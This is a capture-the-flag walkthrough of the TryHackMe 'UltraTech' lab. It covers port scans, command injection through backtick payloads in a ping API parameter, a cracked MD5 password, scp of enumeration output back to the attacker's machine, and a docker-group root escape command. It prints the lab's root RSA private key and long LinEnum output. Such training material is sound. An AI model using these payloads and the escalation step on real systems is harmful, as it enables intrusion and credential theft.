



[Task 1] Deploy the machine

~_. UltraTech ._~

This room is inspired from real-life vulnerabilities and misconfigurations I encountered during security assessments. If you get stuck at some point, take some time to keep enumerating.

[Your Mission]
You have been contracted by UltraTech to pentest their infrastructure. It is a grey-box kind of assessment, the only information you have is the company's name and their server's IP address.

Start this room by hitting the "deploy" button on the right!

Good luck and more importantly, have fun!

Lp1 <fenrir.pro>

[Extra Information]
If you have any comment or question regarding this room, you can contact me on [TryHackMe's Discord](#).

#1
Deploy the machine

No answer needed

[Task 2] It's enumeration time!

After enumerating the services and resources available on this machine, what did you discover?

=
-

#1

Which software is using the port 8081?

node.js

#2

Which other non-standard port is used?

31331

#3

Which software using this port?

apache

#4

Which GNU/Linux distribution seems to be used?

ubuntu

#5

The software using the port 8080 is a REST api, how many of its routes are used by the web application?

2

nmap-scan(ALL-ports)

nmap -Pn -p- -v -A 10.10.11.9

Scanning 10.10.11.9 [65535 ports]

Discovered open port 21/tcp on 10.10.11.9

Discovered open port 22/tcp on 10.10.11.9

Discovered open port 31331/tcp on 10.10.11.9

Discovered open port 8081/tcp on 10.10.11.9

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)

| 256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)

| 256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (ED25519)

8081/tcp open http Node.js Express framework

|_ http-cors: HEAD GET POST PUT DELETE PATCH

|_ http-methods:

|_ Supported Methods: GET HEAD POST OPTIONS

|_ http-title: Site doesn't have a title (text/html; charset=utf-8).

31331/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|_ http-favicon: Unknown favicon MD5: 15C1B7515662078EF4B5C724E2927A96

|_ http-methods:

|_ Supported Methods: OPTIONS HEAD GET POST

|_ http-server-header: Apache/2.4.29 (Ubuntu)

|_ http-title: UltraTech - The best of technology (AI, FinTech, Big Data)

gobuster-scan(port-31331)

gobuster dir -w /home/taj702/Desktop/wordlists/dirbuster/directory-list-1.0.txt -u http://10.10.11.9:31331

```
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:          http://10.10.11.9:31331
[+] Threads:      10
[+] Wordlist:      /home/taj702/Desktop/wordlists/dirbuster/directory-list-1.0.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
=====
2020/05/20 10:04:57 Starting gobuster
=====
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
```

gobuster-scan(port-8081)

gobuster dir -w /home/taj702/Desktop/wordlists/dirbuster/directory-list-1.0.txt -u http://10.10.11.9:8081

```
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:          http://10.10.11.9:8081
[+] Threads:      10
[+] Wordlist:      /home/taj702/Desktop/wordlists/dirbuster/directory-list-1.0.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
=====
2020/05/20 10:13:06 Starting gobuster
=====
/auth (Status: 200)
```

robots.txt

Allow: *
User-Agent: *
Sitemap: /utech_sitemap.txt

sitemap

/
/index.html
/what.html

[Task 3] Let the fun begin

Now that you know which services are available, it's time to exploit them!
Did you find somewhere you could try to login? Great!
Quick and dirty login implementations usually goes with poor data management.
There must be something you can do to explore this machine more thoroughly..

=====

#1

There is a database lying around, what is its filename?

do command injection and go to **http://10.10.139.189:8081/ping?ip=`ls`** and get
ping: **utech.db.sqlite**: Name or service not known

utech.db.sqlite

#2

What is the first user's password hash?

inject cat command by using **http://10.10.139.189:8081/ping?ip=`cat utech.db.sqlite`** and get
ping:)**357a0c52799563c7c7b76c1e7543a32**(Madmin0d0ea5111e3c1def594c1684e3b9be84: Parameter
string not correctly encoded

f357a0c52799563c7c7b76c1e7543a32

#3

What is the password associated with this hash?

use crackstation.net and get

Hash	Type	Result
f357a0c52799563c7c7b76c1e7543a32	md5	n100906

n100906

[Task 4] The root of all evil

Congrats if you've made it this far, you should be able to comfortably run commands on the server by now!
Now's the time for the final step!
You'll be on your own for this one, there is only one question and there might be more than a single way to reach
your goal.
Mistakes were made, take advantage of it.

--access restricted web page at **/auth** with the following URL

http://10.10.139.189:8081/auth?login=r00t&password=n100906 and get the following returned

"""

Restricted area

Hey r00t, can you please have a look at the server's configuration?
The intern did it and I don't really trust him.
Thanks!

lp1

"""

--connect to r00t account with SSH and secure copy LinEnum.sh script with **scp /home/taj702/Software/linenum/-**
LinEnum.sh r00t@10.10.139.189:/tmp

--send scan back to local machine with **scp linenum.txt taj702@10.8.3.117:/home/taj702/tmp**

```
--in LinEnum output, we found that we are a member of the docker group
--found a reverse shell on GTFobins - docker run -v /:/mnt --rm -it bash chroot /mnt sh
-- get flag in /root/.ssh folder by running cat /root/.ssh/id_rsa
# cat /root/.ssh/id_rsa
19:34:33 up 8 min, 1 user, load average: 11.86, 10.56, 5.01
USER      TTY      FROM          LOGIN@  IDLE   JCPU   PCPU WHAT
root pts/0    10.8.3.117    19:29   16.00s 11.33s 9.49s docker run -v /:/mnt --rm -it bash chroot /mnt sh
# root
# -----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuDSna2F3pO8vMOPJ4l2PwpLFqMpy1SWYaaREhio64iM65HSm
sIOfoEC+vvS9SRxy8yNBQ2bx2kLYqoZpDJOuTC4Y7Vib+3xeLjhmvtNQGofffkQA
jSMMIh1MG14fOInXKTRQF8hPBWKB38BPdINgm7dR5PUGFWni15ucYgCGq1Utc5PP
NZVxika+pr/U0Ux4620MzJW899IDG6orloJo739fmMyrQUjKRnp8xXBv/Yezof8D
hQaP7omtbyo0dczKGkeAVCe6ARh8woiVd2zz5SHDoeZLe1ln4KSbIL3EiMQMzOpc
jNn7oD+rqmh/ygoXL3yFRAowi+LFdkkS0gqgmwIDAQABAoIBACbTwm5Z7xQu7m2J
tiYmvoSu10cK1UWkVQn/fAojoKHF90XsaK5QMDdhLIOnNXXRr1Ecn0cLzfLJoE3h
YwcpodWg6dQsOIW740Yu0Ulr1TiiZzOANfWJ679Akag7IK2UMGwZAMDikfV6nBGD
wbwZOWXXkEWleC3PUedMf5wQrFI0mG+mRwWfD06xl6FioC9glpV4RaZT92nbGfoM
BWR8KszHw0t7Cp3CT2OBzL2XoMg/NWFU0iBEBg8n8fk67Y59m49xED7VgupK5Ad1
5neOFdep8rydYbFpVLw8sv96GN5tb/i5KQPC1uO64YuC5ZOyKE30jX4gJAC8rafg
o1macDECgYEA4fTHfZ1uRohrRkZiTgzEp9VUPNOnMyKYHi2FaSTU1Vmp6A0vbBWW
tnuyiubefzK5DyDEf2YdhEE7PjBMBjnCWQJCtOaSCz/RZ7ET9pAMvo4MvTFs3I97
eDM3HWDdrmrK1hTaOTmVbV8DM9sNqgJV5H24ztLBWRRU4gOsP4a76s0CgYEAOLK/
/kh/lkReyAurcu7F00fIn1hdTvqa8/wUYq5efHoZg8pba2j7Z8g9GVqKtMnFA0w6
t1KmELIf55zwFh3i5MmneUJo6gYSXx2AqvWsFtddLljAVKpbLBi6szq4wVejoDye
lEdFfTHiYaN2ieZADsbGAKs27/q/ZgNqZVI+CQcCgYAO3sYPcHqGZ8nviQhFEU9r
4C04B/9WbStnqQVDoynilJEK9XsueMk/Xyqj24e/BT6KkVR9MeI1ZvmYBjCNJFX2
96AeOajY3S1RzqSKsHY2QDD0boFEjqJlg05YP5y3Ms4AgSTNyU8TOpKCYiMnEhpD
kDKOYe5Zh24Cpc07LQnG7QKBgCZ1WjYUzBY34TOCGwUiBSiLKOhcU02TluxxPpx0
v4q2wW7s4m3nubSFTOUYL0jiT+zU3qm611WRdTBsc6RkVdR5d/NoiHGHqqSeDyl
6z6GT3CUAFVZ01VMGLVgk9I1Ngz4PszaWW7ZvAiDI/wDhzhx46Ob6ZLNpWm6JWgo
gLAPaOGAdCXCHyTfKI/80YMmdp/k11Wj4TQuZ6zgFtUorstRddYAGt8peW3xqLn
MrOulVZcSUXnezTs3f8TCsH1Yk/2ue8+GmtlZe/3pHRBW0YJlAaHWg5k2I3hsdAz
bPB7E9hlrl0AconivYDzfpXfX+vovIP/DdNVub/EO7JSO+RAmqo=
-----END RSA PRIVATE KEY-----
```

#1

What are the first 9 characters of the root user's private SSH key?

MIIEogIBA

LinEnum-scan

```
#####
#           Local Linux Enumeration & Privilege Escalation Script           #
#####
# www.rebootuser.com
# version 0.982
```

[+] Debug Info
[+] Thorough tests = Disabled

Scan started at:
Wed May 20 18:34:54 UTC 2020

SYSTEM

[+] Kernel information:
Linux ultratech-prod 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

[+] Kernel information (continued):
Linux version 4.15.0-46-generic (buildd@lgw01-amd64-038) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019

[-] Specific release information:

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.2 LTS"
NAME="Ubuntu"
VERSION="18.04.2 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.2 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

[-] Hostname:

ultratech-prod

USER/GROUP

[-] Current user/group info:

uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

[-] Users that have previously logged onto the system:

Username	Port	From	Latest
root	tty1		Fri Mar 22 18:19:40 +0000 2019
lp1	tty1		Fri Mar 22 18:14:58 +0000 2019
r00t	pts/0	10.8.3.117	Wed May 20 18:32:04 +0000 2020

[-] Who else is logged on:

18:34:56 up 5 min, 1 user, load average: 2.01, 2.13, 1.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
r00t pts/0 10.8.3.117 18:32 8.00s 1.34s 0.00s bash LinEnum.sh

[-] Group memberships:

uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(syslog) gid=106(syslog) groups=106(syslog),4(adm)
uid=103(messagebus) gid=107(messagebus) groups=107(messagebus)
uid=104(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=105(lxd) gid=65534(nogroup) groups=65534(nogroup)
uid=106(uuidd) gid=110(uuidd) groups=110(uuidd)
uid=107(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=108(landscape) gid=112(landscape) groups=112(landscape)

```
uid=109(pollinate) gid=1(daemon) groups=1(daemon)
uid=110(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(lp1) gid=1000(lp1) groups=1000(lp1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
uid=111(mysql) gid=113(mysql) groups=113(mysql)
uid=112(ftp) gid=115(ftp) groups=115(ftp)
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
uid=1002(www) gid=1002(www) groups=1002(www)
```

[-] It looks like we have some admin users:

```
uid=102(syslog) gid=106(syslog) groups=106(syslog),4(adm)
uid=1000(lp1) gid=1000(lp1) groups=1000(lp1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
```

[-] Contents of /etc/passwd:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106:./home/syslog:/usr/sbin/nologin
messagebus:x:103:107:./nonexistent:/usr/sbin/nologin
_apt:x:104:65534:./nonexistent:/usr/sbin/nologin
lxd:x:105:65534:./var/lib/lxd:/bin/false
uidd:x:106:110:./run/uidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112:./var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1:./var/cache/pollinate:/bin/false
sshd:x:110:65534:./run/sshd:/usr/sbin/nologin
lp1:x:1000:1000:lp1:/home/lp1:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
r00t:x:1001:1001:./home/r00t:/bin/bash
www:x:1002:1002:./home/www:/bin/sh
```

[-] Super user account(s):

```
root
```

[-] Accounts that have recently used sudo:

```
/home/lp1/.sudo_as_admin_successful
```

[-] Are permissions on /home directories lax:

```
total 20K
drwxr-xr-x  5 root root 4.0K Mar 22  2019 .
drwxr-xr-x 23 root root 4.0K Mar 19  2019 ..
drwxr-xr-x  5 lp1 lp1 4.0K Mar 22  2019 lp1
drwxr-xr-x  5 r00t r00t 4.0K May 20 18:33 r00t
drwxr-xr-x  5 www www 4.0K Mar 22  2019 www
```

ENVIRONMENTAL

[-] Environment information:

```
SSH_CONNECTION=10.8.3.117 49728 10.10.39.113 22
```

```
LESSCLOSE=/usr/bin/lesspipe %s %s
LANG=en_US.UTF-8
OLDPWD=/home/r00t
XDG_SESSION_ID=1
USER=r00t
PWD=/tmp
HOME=/home/r00t
SSH_CLIENT=10.8.3.117 49728 22
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop
SSH_TTY=/dev/pts/0
MAIL=/var/mail/r00t
SHELL=/bin/bash
TERM=xterm-256color
SHLVL=2
LOGNAME=r00t
XDG_RUNTIME_DIR=/run/user/1001
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
LESSOPEN=| /usr/bin/lesspipe %s
_=/usr/bin/env
```

[-] Path information:

```
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
drwxr-xr-x 2 root root 4096 Mar 22 2019 /bin
drwxr-xr-x 2 root root 12288 Mar 22 2019 /sbin
drwxr-xr-x 2 root root 4096 Mar 19 2019 /snap/bin
drwxr-xr-x 2 root root 32768 Mar 22 2019 /usr/bin
drwxr-xr-x 2 root root 4096 Apr 24 2018 /usr/games
drwxr-xr-x 2 root root 4096 Feb 14 2019 /usr/local/bin
drwxr-xr-x 2 root root 4096 Feb 14 2019 /usr/local/games
drwxr-xr-x 2 root root 4096 Feb 14 2019 /usr/local/sbin
drwxr-xr-x 2 root root 4096 Mar 22 2019 /usr/sbin
```

[-] Available shells:

```
# /etc/shells: valid login shells
/bin/sh
/bin/bash
/bin/rbash
/bin/dash
/usr/bin/tmux
/usr/bin/screen
```

[-] Current umask value:

```
0002
u=rwx,g=rwx,o=rx
```

[-] umask value as specified in /etc/login.defs:

```
UMASK      022
```

[-] Password and storage information:

```
PASS_MAX_DAYS 99999
PASS_MIN_DAYS 0
PASS_WARN_AGE 7
ENCRYPT_METHOD SHA512
```

JOBS/TASKS

[-] Cron jobs:

```
-rw-r--r-- 1 root root 722 Nov 16 2017 /etc/crontab
```

/etc/cron.d:

```
total 24
drwxr-xr-x 2 root root 4096 Mar 19 2019 .
drwxr-xr-x 101 root root 4096 Mar 22 2019 ..
-rw-r--r-- 1 root root 589 Jun 26 2018 mdadm
-rw-r--r-- 1 root root 712 Jan 17 2018 php
-rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder
-rw-r--r-- 1 root root 191 Feb 14 2019 popularity-contest
```


/etc/cron.daily:

```
total 64
drwxr-xr-x  2 root root 4096 Mar 19 2019 .
drwxr-xr-x 101 root root 4096 Mar 22 2019 ..
-rwxr-xr-x  1 root root  539 Oct 10 2018 apache2
-rwxr-xr-x  1 root root  376 Nov 20 2017 apport
-rwxr-xr-x  1 root root 1478 Apr 20 2018 apt-compat
-rwxr-xr-x  1 root root  355 Dec 29 2017 bsdmainutils
-rwxr-xr-x  1 root root 1176 Nov  2 2017 dpkg
-rwxr-xr-x  1 root root  372 Aug 21 2017 logrotate
-rwxr-xr-x  1 root root 1065 Apr  7 2018 man-db
-rwxr-xr-x  1 root root  539 Jun 26 2018 mdadm
-rwxr-xr-x  1 root root  538 Mar  1 2018 mlocate
-rwxr-xr-x  1 root root  249 Jan 25 2018 passwd
-rw-r--r--  1 root root  102 Nov 16 2017 .placeholder
-rwxr-xr-x  1 root root 3477 Feb 21 2018 popularity-contest
-rwxr-xr-x  1 root root  246 Mar 21 2018 ubuntu-advantage-tools
-rwxr-xr-x  1 root root  214 Jun 27 2018 update-notifier-common
```

/etc/cron.hourly:

```
total 12
drwxr-xr-x  2 root root 4096 Feb 14 2019 .
drwxr-xr-x 101 root root 4096 Mar 22 2019 ..
-rw-r--r--  1 root root  102 Nov 16 2017 .placeholder
```

/etc/cron.weekly:

```
total 20
drwxr-xr-x  2 root root 4096 Feb 14 2019 .
drwxr-xr-x 101 root root 4096 Mar 22 2019 ..
-rwxr-xr-x  1 root root  723 Apr  7 2018 man-db
-rw-r--r--  1 root root  102 Nov 16 2017 .placeholder
-rwxr-xr-x  1 root root  211 Jun 27 2018 update-notifier-common
```

[~] Crontab contents:

```
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
```

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

```
# m h dom mon dow user  command
```

```
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
```

[~] Systemd timers:

NEXT	LEFT	LAST	PASSED	UNIT	ACTIVATES
Wed 2020-05-20 18:39:00 UTC	3min 53s left	Wed 2020-05-20 18:31:00 UTC	4min 5s ago		
phpsessionclean.timer		phpsessionclean.service			
Wed 2020-05-20 18:44:25 UTC	9min left	n/a	n/a	systemd-tmpfiles-clean.timer	systemd-tmpfiles-clean.service
Wed 2020-05-20 19:11:36 UTC	36min left	Tue 2019-03-19 14:56:19 UTC	1 years 2 months ago	motd-news.timer	motd-news.service
Mon 2020-05-25 00:00:00 UTC	4 days left	Wed 2020-05-20 18:31:00 UTC	4min 5s ago	fstrim.timer	fstrim.service
n/a	n/a	Wed 2020-05-20 18:31:00 UTC	4min 5s ago	apt-daily-upgrade.timer	apt-daily-upgrade.service
n/a	n/a	Wed 2020-05-20 18:31:00 UTC	4min 5s ago	apt-daily.timer	apt-daily.service

6 timers listed.

Enable thorough tests to see inactive timers

NETWORKING

[-] Network and IP info:

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
    inet 10.10.39.113 netmask 255.255.0.0 broadcast 10.10.255.255
    inet6 fe80::ef:39ff:fe08:8734 prefixlen 64 scopeid 0x20<link>
    ether 02:ef:39:08:87:34 txqueuelen 1000 (Ethernet)
    RX packets 381 bytes 79403 (79.4 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 444 bytes 44850 (44.8 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 329 bytes 29830 (29.8 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 329 bytes 29830 (29.8 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

[-] ARP history:

ip-10-10-0-1.eu-west-1.compute.internal (10.10.0.1) at 02:c8:85:b5:5a:aa [ether] on eth0

[-] Nameserver(s):

nameserver 127.0.0.53

[-] Nameserver(s):

```
Global
    DNSSEC NTA: 10.in-addr.arpa
    16.172.in-addr.arpa
    168.192.in-addr.arpa
    17.172.in-addr.arpa
    18.172.in-addr.arpa
    19.172.in-addr.arpa
    20.172.in-addr.arpa
    21.172.in-addr.arpa
    22.172.in-addr.arpa
    23.172.in-addr.arpa
    24.172.in-addr.arpa
    25.172.in-addr.arpa
    26.172.in-addr.arpa
    27.172.in-addr.arpa
    28.172.in-addr.arpa
    29.172.in-addr.arpa
    30.172.in-addr.arpa
    31.172.in-addr.arpa
    corp
    d.f.ip6.arpa
    home
    internal
    intranet
    lan
    local
    private
    test
```

Link 2 (eth0)

```
    Current Scopes: DNS
    LLMNR setting: yes
    MulticastDNS setting: no
    DNSSEC setting: no
    DNSSEC supported: no
    DNS Servers: 10.0.0.2
    DNS Domain: eu-west-1.compute.internal
```

[-] Default route:

```
default      ip-10-10-0-1.eu 0.0.0.0      UG  100  0      0 eth0
```

[-] Listening TCP:

Active Internet connections (only servers)

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program name
tcp	0	0	127.0.0.1:3306	0.0.0.0:*	LISTEN	-
tcp	0	0	127.0.0.53:53	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:22	0.0.0.0:*	LISTEN	-
tcp6	0	0	:::8081	:::*	LISTEN	-
tcp6	0	0	:::21	:::*	LISTEN	-
tcp6	0	0	:::22	:::*	LISTEN	-
tcp6	0	0	:::31331	:::*	LISTEN	-

[-] Listening UDP:

Active Internet connections (only servers)

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program name
udp	0	0	127.0.0.53:53	0.0.0.0:*	-	-
udp	0	0	10.10.39.113:68	0.0.0.0:*	-	-

SERVICES

[-] Running processes:

USER	PID	%CPU	%MEM	VSZ	RSS	TTY	STAT	START	TIME	COMMAND
root	1	7.7	1.2	225176	6096	?	Ss	18:29	0:26	/sbin/init maybe-ubiquity
root	2	0.0	0.0	0	0	?	S	18:29	0:00	[kthreadd]
root	4	0.0	0.0	0	0	?	I<	18:29	0:00	[kworker/0:0H]
root	5	0.0	0.0	0	0	?	I	18:29	0:00	[kworker/u30:0]
root	6	0.0	0.0	0	0	?	I<	18:29	0:00	[mm_percpu_wq]
root	7	0.1	0.0	0	0	?	S	18:29	0:00	[ksoftirqd/0]
root	8	0.0	0.0	0	0	?	I	18:29	0:00	[rcu_sched]
root	9	0.0	0.0	0	0	?	I	18:29	0:00	[rcu_bh]
root	10	0.0	0.0	0	0	?	S	18:29	0:00	[migration/0]
root	11	0.0	0.0	0	0	?	S	18:29	0:00	[watchdog/0]
root	12	0.0	0.0	0	0	?	S	18:29	0:00	[cpuhp/0]
root	13	0.0	0.0	0	0	?	S	18:29	0:00	[kdevtmpfs]
root	14	0.0	0.0	0	0	?	I<	18:29	0:00	[netns]
root	15	0.0	0.0	0	0	?	S	18:29	0:00	[rcu_tasks_kthre]
root	16	0.0	0.0	0	0	?	S	18:29	0:00	[kauditd]
root	17	0.0	0.0	0	0	?	S	18:29	0:00	[xenbus]
root	18	0.0	0.0	0	0	?	S	18:29	0:00	[xenwatch]
root	19	0.2	0.0	0	0	?	R	18:29	0:00	[kworker/0:1]
root	20	0.0	0.0	0	0	?	S	18:29	0:00	[khungtaskd]
root	21	0.0	0.0	0	0	?	S	18:29	0:00	[oom_reaper]
root	22	0.0	0.0	0	0	?	I<	18:29	0:00	[writeback]
root	23	0.0	0.0	0	0	?	S	18:29	0:00	[kcompactd0]
root	24	0.0	0.0	0	0	?	SN	18:29	0:00	[ksmd]
root	25	0.0	0.0	0	0	?	I<	18:29	0:00	[crypto]
root	26	0.0	0.0	0	0	?	I<	18:29	0:00	[kintegrityd]
root	27	0.0	0.0	0	0	?	I<	18:29	0:00	[kblockd]
root	28	0.0	0.0	0	0	?	I<	18:29	0:00	[ata_sff]
root	29	0.0	0.0	0	0	?	I<	18:29	0:00	[md]
root	30	0.0	0.0	0	0	?	I<	18:29	0:00	[edac-poller]
root	31	0.0	0.0	0	0	?	I<	18:29	0:00	[devfreq_wq]
root	32	0.0	0.0	0	0	?	I<	18:29	0:00	[watchdogd]
root	33	0.0	0.0	0	0	?	I	18:29	0:00	[kworker/u30:1]
root	35	1.8	0.0	0	0	?	S	18:29	0:05	[kswapd0]
root	36	0.0	0.0	0	0	?	S	18:29	0:00	[ecryptfs-kthrea]
root	78	0.0	0.0	0	0	?	I<	18:29	0:00	[kthrotld]
root	79	0.0	0.0	0	0	?	I<	18:29	0:00	[acpi_thermal_pm]
root	80	0.0	0.0	0	0	?	S	18:29	0:00	[scsi_eh_0]
root	81	0.0	0.0	0	0	?	I<	18:29	0:00	[scsi_tmf_0]
root	82	0.0	0.0	0	0	?	S	18:29	0:00	[scsi_eh_1]
root	83	0.0	0.0	0	0	?	I<	18:29	0:00	[scsi_tmf_1]
root	84	0.0	0.0	0	0	?	I	18:29	0:00	[kworker/u30:2]
root	85	0.0	0.0	0	0	?	I<	18:29	0:00	[kworker/0:1H]
root	89	0.0	0.0	0	0	?	I<	18:29	0:00	[ipv6_addrconf]
root	98	0.0	0.0	0	0	?	I<	18:29	0:00	[kstrp]
root	115	0.0	0.0	0	0	?	I<	18:29	0:00	[charger_manager]
root	152	0.0	0.0	0	0	?	I	18:29	0:00	[kworker/0:2]
root	166	0.0	0.0	0	0	?	I<	18:29	0:00	[ttm_swap]
root	194	0.0	0.0	0	0	?	I	18:29	0:00	[kworker/u30:3]

```

root    261 0.0 0.0    0 0 ?    l< 18:29 0:00 [raid5wq]
root    313 0.0 0.0    0 0 ?    S  18:29 0:00 [jbd2/xvda2-8]
root    314 0.0 0.0    0 0 ?    l< 18:29 0:00 [ext4-rsv-conver]
root    394 0.0 0.0    0 0 ?    l< 18:30 0:00 [iscsi_eh]
root    395 0.9 1.5 103044 7804 ?    S<S 18:30 0:03 /lib/systemd/systemd-journald
root    400 0.0 0.2 97708 1180 ?    Ss 18:30 0:00 /sbin/lvmetad -f
root    403 1.8 0.7 45672 3728 ?    Rs 18:30 0:05 /lib/systemd/systemd-udev
root    404 0.0 0.0    0 0 ?    l< 18:30 0:00 [ib-comp-wq]
root    405 0.0 0.0    0 0 ?    l< 18:30 0:00 [ib_mcast]
root    406 0.0 0.0    0 0 ?    l< 18:30 0:00 [ib_nl_sa_wq]
root    407 0.0 0.0    0 0 ?    l< 18:30 0:00 [rdma_cm]
root    433 0.0 0.0    0 0 ?    S< 18:30 0:00 [loop0]
root    443 0.0 0.0    0 0 ?    S< 18:30 0:00 [loop1]
systemd+ 456 0.2 0.2 141924 1336 ?    Ssl 18:30 0:00 /lib/systemd/systemd-timesyncd
systemd+ 632 0.0 0.5 80036 2908 ?    Ss 18:30 0:00 /lib/systemd/systemd-networkd
systemd+ 642 0.1 0.6 70624 3004 ?    Ss 18:30 0:00 /lib/systemd/systemd-resolved
root    695 0.0 0.0    0 0 ?    l 18:30 0:00 [kworker/u30:4]
root    720 0.7 2.3 169088 11548 ?    Ssl 18:31 0:01 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-
triggers
